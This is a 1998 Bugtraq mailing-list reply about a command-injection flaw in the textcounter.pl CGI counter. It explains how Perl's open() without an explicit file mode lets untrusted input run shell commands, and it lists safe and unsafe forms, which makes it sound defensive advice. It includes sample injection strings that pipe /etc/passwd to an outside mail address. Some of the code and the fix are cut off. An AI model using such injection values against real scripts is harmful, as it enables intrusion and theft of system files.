Home page logo

bugtraq logo Bugtraq mailing list archives

Re: textcounter.pl (alternate fix)
From: andrew () SQUIZ CO NZ (Andrew McNaughton)
Date: Wed, 24 Jun 1998 20:31:13 +1200


  I've found a serious problem in textcounter.pl script that enable
everybody to execute commands on your system with the same rights as the
httpd daemon.
  Program was created by Matt Wright (mattw () worldwidemart com) and
has a "Last Modified Date" at 5/10/96. You can find it at

  The counter use the enviroment variable DOCUMENT_URI to
create/read/update a file where it keeps the hit count. There is NO test
for shell metacharacters, so you can easily put something evil, that will
make PERL to execute it ...
  This is the two lines responsible with the problem ...

  if (-e "$data_dir$count_page") {

I reccomend the original posters fix ahead of, or perhaps in combination
with my own.  My purpose in writing this is to point out that the
vulnerability fits a general class of problems which is to perl what the
buffer overflow is to c.

I find that in order to establish a script's vulnerability or otherwise,
it's usually easier to work back from the danger points in the scripts
interaction with the system rather than working forward from the untrusted
input.  Fixing a problem should involve tightening both ends.

grep -R open /home/site/cgi-bin

This is the first thing I look for when evaluating a perl cgi script's
security.  An open command with the file mode not explicitly set.

$evil1 = "|cat /etc/passwd | mail foo () bar com";
$evil1 = "cat /etc/passwd | mail foo () bar com|";

open (FILE, $evil);              # unsafe
open (FILE, "$evil");            # unsafe
open (FILE, "/dir/$evil);        # unsafe
open (FILE, "$evil.suffix);      # unsafe

open (FILE, "/dir/$evil.suffix); # safe but I don't like it
open (FILE, "<$evil.suffix);     # safe
open (FILE, ">$evil.suffix);     # safe
open (FILE, "+>$evil.suffix);    # safe

Always be explicit about file  read/write/pipe mode when opening files with

ie this is an alternative fix:


This fix on it's own means that you get evidence in the file names of
anyone trying to exploit the script.  I don't reccommend it though.

The fix I present has the undesirable result that it means the user can
create files with dangerous file names - the file gets created, and then
someone comes along and does a "rm *". and that filename with a pipe
character and evil command executes.  This fix is not a good substitute for
the original, but as a practice it substantially reduces potential for

Andrew McNaughton

Andrew McNaughton                                          =
 ++64 4 389 6891                Any sufficiently advanced  =
  andrew () squiz co nz             bug is indistinguishable  =
    http://www.newsroom.co         from a feature.         =
                                       -- Rich Kulawiec    =

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]